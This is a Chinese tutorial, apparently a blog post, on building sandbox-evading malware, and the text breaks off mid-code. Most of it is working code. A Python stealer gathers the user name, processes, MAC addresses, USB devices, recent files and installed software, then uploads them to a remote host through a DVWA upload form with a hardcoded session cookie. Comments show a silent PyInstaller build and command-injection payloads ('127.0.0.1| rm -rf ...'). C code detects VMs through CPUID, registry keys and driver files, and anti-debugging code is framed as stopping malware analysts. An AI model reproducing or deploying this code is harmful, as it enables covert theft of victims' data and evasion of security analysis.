总字符数: 32.14K

代码: 29.49K, 文本: 2.64K

预计阅读时间: 1.07 小时

获取沙箱环境

检查CPU是否支持虚拟化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def check_cpu_virtualization():
    try:
        # 创建WMI对象，用于访问系统的管理信息
        # https://medium.com/@marcovit87/pywin32-and-wmi-windows-mangement-instrumentation-navigating-windows-os-with-python-4a73bfcce59a
        c = wmi.WMI()
        # 初始化虚拟化信息和处理器名称的变量
        virtualization_info = "未能检索虚拟化信息"
        processor_name = "未知处理器"
        # 遍历系统中的所有处理器，通过WMI访问Win32_Processor类
        for processor in c.Win32_Processor():
            # 获取处理器的名称
            processor_name = processor.Name
            # 检查处理器是否具有VirtualizationFirmwareEnabled属性
            if hasattr(processor, "VirtualizationFirmwareEnabled"):
                # 如果有该属性，则处理器支持虚拟化，获取其值
                virtualization_info = f"支持虚拟化: {processor.VirtualizationFirmwareEnabled}"
            else:
                # 如果没有该属性，则处理器不支持虚拟化
                virtualization_info = "处理器不支持虚拟化"
        # 返回处理器名称和虚拟化信息的组合字符串
        return f"处理器: {processor_name}\n{virtualization_info}\n"
    except Exception as e:
        # 如果在处理过程中发生异常，捕获并返回错误信息
        return f"Error checking CPU virtualization: {e}\n"

获取系统语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def check_language():
    try:
        # 调用 Windows API 函数 GetUserDefaultUILanguage 以获取当前用户的默认UI语言ID
        # 使用 ctypes.windll 来访问 kernel32.dll 并调用其导出函数
        lang_id = ctypes.windll.kernel32.GetUserDefaultUILanguage()

        # 格式化返回的语言ID为十六进制字符串，并返回结果
        # 格式化字符串 '#04x' 将整数转换为四位的十六进制格式，前面带有 "0x"
        # https://winprotocoldocs-bhdugrdyduf5h2e4.b02.azurefd.net/MS-LCID/%5bMS-LCID%5d.pdf
        return f"语言ID: {lang_id:#04x}\n"

    except Exception as e:
        # 如果在获取语言ID的过程中出现异常，捕获异常并返回错误信息
        return f"Error checking language: {e}\n"

获取进程信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_process_count():
    process_list = "\n=== 进程列表 ===\n"
    try:
        # 创建一个 WMI 客户端对象，用于访问系统的管理信息
        # 通过 win32com.client 的 GetObject 方法连接到 WMI 服务
        wmi_client = win32com.client.GetObject("winmgmts:")
        # 通过调用 InstancesOf 方法获取当前系统中所有运行的进程实例
        # "Win32_Process" 是一个 WMI 类，表示系统中的进程
        process_instances = wmi_client.InstancesOf("Win32_Process")

        # 计算当前运行的进程的数量
        process_list += f"进程数量:{len(process_instances)}\n"
        for process in process_instances:
            process_list += f"进程名称: {process.Name}, PID: {process.ProcessId}\n"
        # 返回进程数量的信息字符串
        return process_list
    except Exception as e:
        # 如果在获取进程数量的过程中出现异常，捕获异常并返回错误信息
        return f"Error checking process count: {e}\n"

获取CPU信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def get_cpu_info():
    try:
        # 使用 win32com.client 来访问 Windows WMI 服务
        # 获取一个 WMI 客户端对象，这样可以通过 WMI 查询获取系统信息
        wmi_client = win32com.client.GetObject("winmgmts:")

        # 使用 WMI 查询 "Win32_Processor" 类来获取处理器信息
        # 通过生成器表达式计算查询结果中的处理器数量
        cpu_count = sum(1 for _ in wmi_client.ExecQuery("Select * from Win32_Processor"))

        # 使用 psutil 库获取物理核心数和逻辑处理器数
        # 返回一个格式化字符串，包含CPU数量、物理核心数和逻辑处理器数
        return (
            f"CPU数量: {cpu_count}\n"  # 从 WMI 获取的CPU数量
            f"CPU物理核心: {psutil.cpu_count(logical=False)}\n"  # 物理核心数，不包括超线程逻辑核心
            f"CPU逻辑数量: {psutil.cpu_count()}\n"  # 总逻辑处理器数，包括超线程
        )
    except Exception as e:
        # 如果在任何一步发生异常，捕获异常并返回包含错误信息的字符串
        return f"Error checking CPU count: {e}\n"

获取开机时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def check_start_time():
    try:
        # 使用 psutil 模块的 boot_time() 函数获取系统的启动时间
        # boot_time() 返回的是自 Unix 纪元以来的秒数，表示系统启动的时间
        uptime = psutil.boot_time()

        # 使用 time 模块的 time() 函数获取当前的时间
        # time() 返回的是当前时间自 Unix 纪元以来的秒数
        current_time = time.time()

        # 计算系统的运行时间（以分钟为单位）
        # 当前时间减去启动时间获取系统的运行时间（秒），再除以60转换为分钟
        # 使用格式化字符串将时间格式化为保留两位小数的浮点数
        return f"开机时间: {(current_time - uptime) / 60:.2f}分钟\n"
    except Exception as e:
        # 如果在计算开机时间的过程中出现异常，捕获异常并返回错误信息
        return f"Error checking start time: {e}\n"

获取虚拟环境DLLS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def check_sandbox_dlls():
    # 要检查的文件路径列表，这些路径通常与虚拟机或沙箱软件相关
    # 如果这些文件存在，可能表明该系统运行在虚拟机或沙箱环境中
    file_paths = [
        r"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe",
        r"C:\Program Files\Common Files\VMware\Drivers\mouse\Win8\vmmousever.dll",
        r"C:\windows\System32\Drivers\Vmmouse.sys",
        r"C:\windows\System32\Drivers\vmtray.dll",
        r"C:\windows\System32\Drivers\VMToolsHook.dll",
        r"C:\windows\System32\Drivers\vmmousever.dll",
        r"C:\windows\System32\Drivers\vmhgfs.dll",
        r"C:\windows\System32\Drivers\vmGuestLib.dll",
        r"C:\windows\System32\Drivers\VBoxMouse.sys",
        r"C:\windows\System32\Drivers\VBoxGuest.sys",
        r"C:\windows\System32\Drivers\VBoxSF.sys",
        r"C:\windows\System32\Drivers\VBoxVideo.sys",
        r"C:\windows\System32\vboxdisp.dll",
        r"C:\windows\System32\vboxhook.dll",
        r"C:\windows\System32\vboxoglerrorspu.dll",
        r"C:\windows\System32\vboxoglpassthroughspu.dll",
        r"C:\windows\System32\vboxservice.exe",
        r"C:\windows\System32\vboxtray.exe",
        r"C:\windows\System32\VBoxControl.exe"
    ]

    # 初始化一个字符串，用于存储检查结果，并包含一个标题行
    existing_files = "=== 沙箱相关 === \n"

    # 遍历每个文件路径，检查该路径所指的文件是否存在
    for file_path in file_paths:
        # 使用 os.path.exists() 检查文件是否存在
        if os.path.exists(file_path):
            # 如果文件存在，将文件路径加入结果字符串
            existing_files += f"{file_path}\n"
        else:
            # 如果文件不存在，记录文件未找到的信息
            existing_files += f"File not found: {file_path}\n"

    # 返回包含所有检查结果的字符串
    return existing_files

获取当前用户

1
2
3
4
5
6
7
8
def get_user():
    try:
        # 尝试获取当前登录用户的用户名
        # os.getlogin() 返回当前在控制台上登录的用户的用户名
        return f"当前用户: {os.getlogin()}\n"
    except Exception as e:
        # 如果在获取用户名的过程中出现异常，捕获异常并返回错误信息
        return f"Error checking admin user: {e}\n"

获取硬盘信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def get_disk_info():
    # 初始化一个包含标题的字符串，用于存储所有磁盘信息
    disk_info = "\n=== 硬盘信息 ===\n"

    try:
        # 使用 psutil.disk_partitions() 获取系统中所有分区的信息
        # https://liaoxuefeng.com/books/python/third-party-modules/psutil/
        partitions = psutil.disk_partitions()

        # 遍历每个分区，获取详细信息
        for partition in partitions:
            # 获取分区的使用情况
            try:
                usage = psutil.disk_usage(partition.mountpoint)  # 获取分区的使用情况
                total_size_gb = usage.total / (1024 ** 3)  # 将字节转换为GB

                # 将获取到的分区信息格式化并添加到 disk_info 字符串中
                disk_info += (
                    f"盘符: {partition.device}\n"  # 分区设备名
                    f"挂载点: {partition.mountpoint}\n"  # 挂载点
                    f"文件系统类型: {partition.fstype}\n"  # 文件系统类型
                    f"总大小: {total_size_gb:.2f} GB\n\n"  # 总大小，以GB为单位，保留两位小数
                )
            except PermissionError:
                # 如果访问某个分区的使用情况时权限不足，捕获异常并记录相关信息
                disk_info += (
                    f"盘符: {partition.device}\n"  # 分区设备名
                    "挂载点: Access Denied\n"  # 无法访问挂载点
                    "文件系统类型: Unknown\n"  # 无法获取文件系统类型
                    "总大小: Unknown\n\n"  # 无法获取总大小
                )
    except Exception as e:
        # 如果在获取分区信息的过程中出现异常，捕获异常并返回错误信息
        return f"Error retrieving disk information: {e}\n"

    # 返回包含所有分区信息的字符串
    return disk_info

获取MAC信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def get_all_mac_addresses():
    # 初始化一个字符串，用于存储所有接口的MAC地址信息
    mac_addresses = "=== 所有接口的MAC地址 ===\n"

    try:
        # 使用 win32com.client 来访问 Windows WMI 服务
        # 获取一个 WMI 客户端对象，可以通过WMI查询获取系统信息
        wmi_client = win32com.client.GetObject("winmgmts:")

        # 使用 WMI 查询 "Win32_NetworkAdapter" 类来获取所有网络适配器的信息
        for nic in wmi_client.InstancesOf("Win32_NetworkAdapter"):
            # 检查网络适配器是否有MAC地址和网络连接ID
            if nic.MACAddress and nic.NetConnectionID:
                # 如果MAC地址和连接ID存在，将其格式化并添加到 mac_addresses 字符串中
                mac_addresses += (
                    f"接口名称: {nic.NetConnectionID}, "  # 网络接口的连接名称
                    f"MAC地址: {nic.MACAddress}\n"  # MAC地址
                )
    except Exception as e:
        # 如果在任何步骤中发生异常，捕获异常并返回包含错误信息的字符串
        return f"Error retrieving MAC addresses: {e}\n"

    # 返回包含所有获取的MAC地址信息的字符串
    return mac_addresses

获取USB设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def get_usb_devices():
    # 初始化一个字符串，用于存储所有USB设备的信息
    usb_devices = "\n === USB设备信息 ===\n"

    try:
        # 使用 win32com.client 来访问 Windows WMI 服务
        # 获取一个 WMI 客户端对象，可以通过WMI查询获取系统信息
        wmi_client = win32com.client.GetObject("winmgmts:")

        # 使用 WMI 查询 "Win32_PnPEntity" 类来获取所有即插即用设备的信息
        for device in wmi_client.InstancesOf("Win32_PnPEntity"):
            # 检查设备是否有名称，并且名称或描述中包含 "USB"
            if device.Name and ("USB" in device.Name or "USB" in device.Description):
                # 如果设备名称或描述中包含 "USB"，则认为是USB设备
                # 将设备的相关信息格式化并添加到 usb_devices 字符串中
                usb_devices += (
                    f"设备名称: {device.Name}\n"  # 设备的名称
                    f"设备ID: {device.DeviceID if device.DeviceID else 'N/A'}\n"  # 设备ID，如果不存在则显示 'N/A'
                    f"PNP设备ID: {device.PNPDeviceID if device.PNPDeviceID else 'N/A'}\n"  # PNP设备ID，如果不存在则显示 'N/A'
                    f"描述: {device.Description if device.Description else 'N/A'}\n\n"  # 设备描述，如果不存在则显示 'N/A'
                )
    except Exception as e:
        # 如果在获取设备信息的过程中发生异常，捕获异常并将错误信息添加到 usb_devices 字符串中
        usb_devices += f"Error retrieving USB device information: {e}\n"

    # 返回包含所有USB设备信息的字符串
    return usb_devices

获取历史文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_recent_files():
    # 初始化一个字符串，用于存储所有最近访问文件的信息
    get_recent_files_list = "=== Recent文件 ===\n"

    try:
        # 使用 win32com.client 访问 Windows Shell API
        # Dispatch 创建一个 Shell.Application 对象，用于与 Windows Shell 进行交互
        shell = win32com.client.Dispatch("Shell.Application")

        # 获取指定的命名空间，此处 0x08 对应于 Windows 的 'Recent' 文件夹
        namespace = shell.NameSpace(0x08)  # 0x08 是系统中“最近使用的文件”文件夹的命名空间标识符

        # 如果无法获取 'Recent' 文件夹的命名空间，返回错误信息
        if namespace is None:
            return "无法获取 'Recent' 文件夹的命名空间\n"

        # 获取 'Recent' 文件夹中的所有项目
        items = namespace.Items()

        # 将文件夹中的文件数量添加到结果字符串中
        get_recent_files_list += f"Recent 文件夹中的文件数量: {items.Count}\n"

        # 遍历每个项目，将其名称添加到结果字符串中
        for item in items:
            get_recent_files_list += f"{item.Name}\n"  # 文件名称

        # 返回包含所有最近访问文件的信息的字符串
        return get_recent_files_list

    except Exception as e:
        # 如果在访问 'Recent' 文件夹的过程中发生异常，捕获异常并返回包含错误信息的字符串
        return f"无法访问 'Recent' 文件夹: {e}\n"

Systeminfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_system_info():
    try:
        # 初始化一个字符串，用于存储系统信息
        system_info = "\n=== 系统信息 ===\n"
        # 使用 subprocess 模块执行命令行命令
        # 调用 `systeminfo` 命令以获取系统的详细信息
        # check_output 函数执行命令并返回其输出，参数解释：
        # - "systeminfo"：要执行的命令
        # - shell=True：在命令行的shell中执行命令
        # - text=True：将输出解码为文本字符串（相当于设置 `universal_newlines=True`）
        output = subprocess.check_output("systeminfo", shell=True, text=True)
        # 将获取的系统信息输出添加到 system_info 字符串中
        system_info += output
        # 返回包含所有系统信息的字符串
        return system_info
    except subprocess.CalledProcessError as e:
        # 如果在执行命令时发生错误，捕获 CalledProcessError 异常
        # 返回包含错误信息的字符串，指示获取系统信息失败
        return f"获取系统信息失败: {e}\n"

获取已安装软件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_installed_software():
    try:
        # 初始化一个字符串，用于存储已安装软件的信息
        installed_software = "\n=== 已安装软件 ===\n"
        # 使用 subprocess 模块执行命令行命令
        # 调用 `wmic product list brief` 命令以获取已安装的软件列表的简要信息
        # check_output 函数执行命令并返回其输出，参数解释：
        # - "wmic product list brief"：要执行的命令，用于列出已安装软件的简要信息
        # - shell=True：在命令行的shell中执行命令
        # - text=True：将输出解码为文本字符串（在 Python 3.7 及以上版本中，text=True 等效于 universal_newlines=True）
        output = subprocess.check_output("wmic product list brief", shell=True, text=True)
        # 将获取的已安装软件信息输出添加到 installed_software 字符串中
        installed_software += output
        # 返回包含所有已安装软件信息的字符串
        return installed_software
    except subprocess.CalledProcessError as e:
        # 如果在执行命令时发生错误，捕获 CalledProcessError 异常
        # 返回包含错误信息的字符串，指示获取已安装软件失败
        return f"获取已安装软件失败: {e}\n"

上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def upload_file(url, cookie, info):
    # 构造HTTP请求的头部信息
    headers = {
        'Referer': url,      # 'Referer'头部，通常用于标识请求来源页面
        'Cookie': cookie     # 'Cookie'头部，用于在请求中附带会话或状态信息
    }

    # 构造表单数据项
    data = {
        'MAX_FILE_SIZE': '100000',  # 表单中指定的文件大小限制，单位为字节（这里为100KB）
        'Upload': 'Upload'          # 表单中可能的一个字段，表示上传操作
    }

    # 构造要上传的文件信息
    files = {
        'uploaded': (               # 表单中对应文件上传字段的名称
            f'{os.getlogin()}---info.txt',  # 上传文件的名称，使用当前登录用户名拼接固定字符串
            info,                   # 文件的内容，通过info参数传入
            'text/plain'            # 文件的MIME类型，这里指定为纯文本
        )
    }

    # 使用 requests 库发送HTTP POST请求
    requests.post(
        url,            # 目标URL
        headers=headers,  # 请求头部信息
        data=data,        # 表单数据项
        files=files       # 要上传的文件信息
    )

Main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def main():
    report = (
            "=== 系统综合信息报告 ===\n"
            + check_cpu_virtualization() + check_language()
            + get_cpu_info() + get_user()
            + get_process_count() + check_start_time()
            + check_sandbox_dlls() + get_disk_info()
            + get_all_mac_addresses() + get_usb_devices()
            + get_recent_files() + get_current_directory_and_app_name()
            + get_system_info() + get_installed_software()
    )
    return report

if __name__ == "__main__":
    # 打包流程:
    #     1. python -m venv venv
    #     2. venv\Scripts\activate
    #     3. pip install -r requirements.txt
    #     4. pyinstaller --onefile --noconsole --clean --strip box.py
    # 信息下载
    #     1. dvwa: host/vulnerabilities/exec/#
    #     2. 127.0.0.1| ls ../../hackable/uploads/
    #     3. 访问: http://{host}/hackable/uploads/{user}---info.txt
    #     4. 删除 127.0.0.1| rm -rf ../../hackable/uploads/{user}---info.txt
    #     5. 再次确认是否删除 127.0.0.1| ls ../../hackable/uploads/
    upload_file('http://***.***.***.***/vulnerabilities/upload/',
                         'PHPSESSID=0c64j18co158fig75btom3icr3; security=low', main())

反调试

反虚拟化是指检测恶意软件是否运行在虚拟机/沙盒上而不是物理机器上，这可以通过多种方式完成：

  • 检查屏幕分辨率：如果你在一个自动沙盒上，一些简单的指标，如屏幕分辨率可能会让你放弃。

  • 检查I/O设备（鼠标，键盘等）：自动沙盒不会有I/O设备，因为它们不用于日常机器或虚拟机，它们仅用于分析恶意软件。

  • 检查正在运行的进程或系统上的文件：简单地枚举机器上当前正在运行的进程将给你提示，如果它是一个只运行默认进程的沙箱，或者是一个具有许多基本使用应用程序的实际机器。

  • 使用

    GetTickCount（）

    用于确定PE是否正在调试,通过确定运行二进制文件所需的时间并在执行过程中重新检查它.您可以查看是否有断点延迟执行:添加两个任意

    GetTickCount()

    函数,存储T并硬编码.

    • T是您的程序从第一个函数调用到第二个函数调用的时间，假设为50秒。然后，您可以在目标机器上执行恶意软件时添加检查，如果T超过50秒，这意味着有人可能正在调试您的exe。（您可能会为不同处理器之间的性能差异添加误差幅度）

Cpuid

__Cpuid():这是一个函数，如果检测到Hypervisor供应商，它将为我们提供有关Hypervisor供应商的信息

1
2
3
4
5
6
7
8
9
10
11
#include <intrin.h>

void getCpuInfo() {
    // cpuInfo数组现在包含CPU的基本信息
    // cpuInfo[0] - EAX寄存器内容
    // cpuInfo[1] - EBX寄存器内容
    // cpuInfo[2] - ECX寄存器内容
    // cpuInfo[3] - EDX寄存器内容
    int cpuInfo[4];  // 用于存储CPUID指令的返回值
    __cpuid(cpuInfo, 0);  // 执行CPUID指令并获取信息
}

  1. 参数1是一个整型数组，通常有四个元素，用于存储从EAX、EBX、ECX和EDX寄存器返回的值。

  2. 参数2是一个整数，用于指定要查询的 CPUID 信息的功能参数（即功能号）

    1. 0: 返回最大支持的功能号，以及厂商ID字符串。
    2. 1: 返回处理器的版本信息、特征标志等。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL CheckCpuid1() {
    // 用于存储CPUID指令返回的信息
    int cpuinfo[4];
    // 调用CPUID指令，使用功能号1，获取处理器信息
    __cpuid(cpuinfo, 1);
    // 检查ECX寄存器的第31位是否被设置
    int bit = (cpuinfo[2] >> 31 & 1);
    if (bit) // 如果第31位被设置
    {
        printf("[+] cpuid 第 31 bit 被设置为 1,检测到虚拟处理器\n");
        return TRUE;
    }
    // CPUID.01h.ECX:31
}

如果我们将leef从0x1更改为0x40000000，我们将获得供应商信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
void CheckCpuid2() {
    int cpuinfo[4]; // 用于存储CPUID指令返回的信息
    __cpuid(cpuinfo, 0x40000000); // 调用CPUID指令，使用功能号0x40000000，获取虚拟化厂商的签名

    // 超级管理程序厂商签名存储在cpuinfo的1、2、3号索引中
    char vendor[13]; // 用于存储厂商字符串
    memcpy(vendor, &cpuinfo[1], 4); // 复制信息到vendor
    memcpy(vendor + 4, &cpuinfo[2], 4);
    memcpy(vendor + 8, &cpuinfo[3], 4);
    vendor[12] = '\0'; // 设置字符串结束符

    printf("\t虚拟机管理程序供应商: %s\n", vendor); // 打印虚拟化厂商签名
}

最终函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <intrin.h>  // 用于使用 __cpuid
#include <Windows.h>
BOOL CheckCpuid() {
    int cpuinfo[4];  // 用于存储CPUID指令返回的信息
    // 第一次调用 CPUID 指令，使用功能号 1，获取处理器信息
    __cpuid(cpuinfo, 1);
    // 检查 ECX 寄存器的第 31 位是否被设置
    int bit = (cpuinfo[2] >> 31) & 1;
    if (bit) {  // 如果第 31 位被设置
        printf("[+] cpuid 第 31 bit 被设置为 1, 检测到虚拟处理器\n");
        // 第二次调用 CPUID 指令，使用功能号 0x40000000，获取虚拟化厂商的签名
        __cpuid(cpuinfo, 0x40000000);
        // 超级管理程序厂商签名存储在 cpuinfo 的 1、2、3 号索引中
        char vendor[13];  // 用于存储厂商字符串
        memcpy(vendor, &cpuinfo[1], 4);  // 复制信息到 vendor
        memcpy(vendor + 4, &cpuinfo[2], 4);
        memcpy(vendor + 8, &cpuinfo[3], 4);
        vendor[12] = '\0';  // 设置字符串结束符
        printf("虚拟机管理程序供应商: %s\n", vendor);  // 打印虚拟化厂商签名
        return TRUE;
    }
    // 如果没有检测到虚拟处理器，返回 FALSE
    printf("[-] 未检测到虚拟处理器\n");
    return FALSE;
}

int main() {
    CheckCpuid();
    return 0;
}

注册表

  • HyperV :

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters

在hostname和Physical Hostname中，您可以找到物理主机名和主机的域名。

  • VirtualBox：对于

    VirtualBox

    ，只有在使用

    VirtualBox

    的客户机上才能找到注册表项

    HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

VMware：HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <iostream>
#include <Windows.h>
BOOL CheckHypervisor() {
    HKEY hkey;  // 用于存储打开注册表项的句柄
    LONG Result;  // 用于存储注册表操作的返回值
    BYTE data[256], data2[256];  // 用于存储从注册表中查询的值
    DWORD dataSize = sizeof(data);  // 存储数据大小，用于查询注册表值时用
    DWORD dwType = REG_SZ;  // 指定注册表值的数据类型（字符串类型）

    // 检查是否在 Hyper-V 中运行
    Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
    if (Result == ERROR_SUCCESS) {
        // 如果能够成功打开注册表项，表示在 Hyper-V 中运行
        printf("[+] 当前运行在 Hyper-V 虚拟机中\n");

        // 查询虚拟机名称
        Result = RegQueryValueExA(hkey, "VirtualMachineName", NULL, NULL, data, &dataSize);
        printf("[+] 虚拟机名称: %s\n", (unsigned char*)data);

        // 查询主机名
        Result = RegQueryValueExA(hkey, "HostName", NULL, NULL, data2, &dataSize);
        printf("[+] 主机名: %s\n", (unsigned char*)data2);

        // 查询物理宿主机的完全限定名称
        Result = RegGetValueA(hkey, NULL, "PhysicalHostNameFullyQualified", RRF_RT_REG_SZ, &dwType, data2, &dataSize);
        printf("[+] 物理宿主机名字: %s\n", (unsigned char*)data2);

        // 关闭注册表项句柄
        RegCloseKey(hkey);
        // 返回 TRUE 表示检测到虚拟化软件
        return TRUE;
    }

    // 检查是否在 VirtualBox 中运行
    Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
    if (Result == ERROR_SUCCESS) {
        // 如果能够成功打开注册表项，表示在 VirtualBox 中运行
        printf("[+] 当前运行在 VirtualBox 虚拟机中\n");
        RegCloseKey(hkey);
        return TRUE;
    }
    RegCloseKey(hkey);

    // 检查是否在 VMware 中运行
    Result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ | KEY_WOW64_64KEY, &hkey);
    if (Result == ERROR_SUCCESS) {
        // 如果能够成功打开注册表项，表示在 VMware 中运行
        printf("[+] 当前运行在 VMware 虚拟机中\n");
        RegCloseKey(hkey);
        return TRUE;
    }
    RegCloseKey(hkey);
    return FALSE;  // 如果没有检测到任何虚拟化软件，返回 FALSE
}

int main()
{
    CheckHypervisor();
}

  1. RegOpenKeyExA:

    RegOpenKeyExA 是 Windows API 中的一个函数，用于打开一个注册表项并获得一个句柄，打开的注册表项可以用来查询或设置值。

    • HKEY hKey

      : 要打开的注册表项的根键。

    • LPCSTR lpSubKey

      : 要打开的子项的名称。

    • DWORD ulOptions

      : 保留，通常为 0。

    • REGSAM samDesired

      : 指定所需的访问权限。

    • PHKEY phkResult

      : 指向接收打开的注册表项句柄的变量的指针。

  2. RegCloseKey:

    RegCloseKey 用于关闭打开的注册表项句柄。

    • HKEY hKey

      : 要关闭的注册表项的句柄。

  3. RegQueryValueExA:

    RegQueryValueExA 用于检索指定注册表项中的某个值。

    • HKEY hKey

      : 包含要检索的值的注册表项的句柄。

    • LPCSTR lpValueName

      : 要检索的值的名称。

    • LPDWORD lpReserved

      : 保留，必须为 NULL。

    • LPDWORD lpType

      : 指向接收值类型的变量的指针。

    • LPBYTE lpData

      : 指向接收数据的缓冲区的指针。

    • LPDWORD lpcbData

      : 指向接收数据大小的变量的指针。

  4. RegGetValueA:

    RegGetValueA 从注册表中检索值。与 RegQueryValueExA 不同，它可以获取嵌套的子项值。

    • HKEY hKey

      : 包含要检索值的注册表项的句柄。

    • LPCSTR lpSubKey

      : 要打开的子项的名称。

    • LPCSTR lpValue

      : 要检索的值的名称。

    • DWORD dwFlags

      : 指定如何检索信息。

    • LPDWORD pdwType

      : 指向接收值类型的变量的指针。

    • PVOID pvData

      : 指向接收数据的缓冲区的指针。

    • LPDWORD pcbData

      : 指向接收数据大小的变量的指针。

反调试

反调试是阻止恶意软件分析师调试/逆向我们的恶意软件的行为.

反调试技术，即BeingDebugged，但在讨论这个技术之前，需要先了解一下PEB(Process Environment Block:进程环境块).

PEB(Process Environment Block):

  • PEB是Windows操作系统中的一个数据结构，用于存储关于当前进程状态和环境的信息。每个进程在其自身的地址空间中有一个PEB

  • PEB包含的信息包括：

    • 进程加载的模块（DLL）
    • 进程参数（例如命令行参数）
    • 环境变量
    • 进程的运行时数据
    • 以及其他关于进程的元数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _PEB {
  BYTE Reserved1[2];  // 保留字段，用于对齐或未来使用
  BYTE BeingDebugged;  // 表示进程是否被调试器调试，0为否，非0为是
  BYTE Reserved2[1];  // 保留字段，用于对齐或未来使用
  PVOID Reserved3[2];  // 保留字段，通常用于指向内部结构或未来扩展
  PPEB_LDR_DATA Ldr;  // 指向加载器数据的指针，包含该进程中加载的模块信息
  PRTL_USER_PROCESS_PARAMETERS ProcessParameters;  // 指向进程参数的指针，包含命令行参数、环境变量等
  PVOID Reserved4[3];  // 保留字段
  PVOID AtlThunkSListPtr;  // 指向线程本地存储的Thunk列表指针
  PVOID Reserved5;  // 保留字段
  ULONG Reserved6;  // 保留字段
  PVOID Reserved7;  // 保留字段
  ULONG Reserved8;  // 保留字段
  ULONG AtlThunkSListPtr32;  // 32位进程的线程本地存储Thunk列表指针
  PVOID Reserved9[45];  // 大量保留字段
  BYTE Reserved10[96];  // 保留字节，用于对齐或未来使用
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  // 进程初始化后的回调例程
  BYTE Reserved11[128];  // 保留字节
  PVOID Reserved12[1];  // 保留字段
  ULONG SessionId;  // 当前会话的ID，用于区分不同的用户会话
} PEB, *PPEB;

BeingDebugged

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>      // 标准输入输出库，提供输入输出函数，如 printf 和 scanf
#include <Windows.h>    // Windows API 头文件，提供大多数 Windows 操作系统功能的访问，如窗口管理和进程控制

// 仅在需要时定义简化版的PEB结构体
typedef struct _PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged; // 检查此标志来确定是否在被调试
    BYTE Reserved2[1];
    // ... 其他成员
} PEB, * PPEB;

// 检查当前进程是否在被调试
BOOL IsDebuggerPresent2() {
#ifdef _WIN64
    // 对于64位程序，从GS段寄存器读取PEB地址
    PPEB pPeb = (PEB*)(__readgsqword(0x60)); // Process Environment Block
#elif _WIN32
    // 对于32位程序，从FS段寄存器读取PEB地址
    PPEB pPeb = (PEB*)(__readfsdword(0x30));
#endif
    if (pPeb->BeingDebugged == 1) { // 如果BeingDebugged标志被设置
        return TRUE; // 返回TRUE，表示正在被调试
    }

    return FALSE; // 返回FALSE，表示没有被调试
}
int main()
{
    if (IsDebuggerPresent2()) {
        printf("[+] 正在被调试!\n");
    }
    else
    {
        printf("[-] 没有被调试.\n");
    }
}

DebugBreak

DebugBreak():debugbreak是我们的第二个反调试技术,其中DebugBreak()函数会导致在当前进程中引发断点异常。这允许调用线程用信号通知调试器处理异常。因此，我们依赖于GetExceptionCode()函数的返回，它将告诉我们异常是否由调试器处理.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>      // 标准输入输出库，提供输入输出函数，如 printf 和 scanf
#include <Windows.h>    // Windows API 头文件，提供大多数 Windows 操作系统功能的访问，如窗口管理和进程控制

// 自定义反调试函数
BOOL CheckDebuggerPresence() {
    __try {
        DebugBreak(); // 触发调试中断异常，这通常会中断到调试器中，如果有调试器附加
        return TRUE;  // 如果代码执行到这里，说明异常被调试器处理了，返回TRUE表示正在被调试
    }
    __except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
        // 检查异常代码是否是 EXCEPTION_BREAKPOINT。如果是，执行异常处理程序。
        // EXCEPTION_BREAKPOINT 是一个常量，表示断点异常，通过调试器捕获。

        printf("[-] 未被调试器处理\n");  // 如果异常未被调试器处理，则打印信息并表示没有调试器附加
        return FALSE;  // 返回FALSE表示没有调试器在附加
    }
}

int main() {
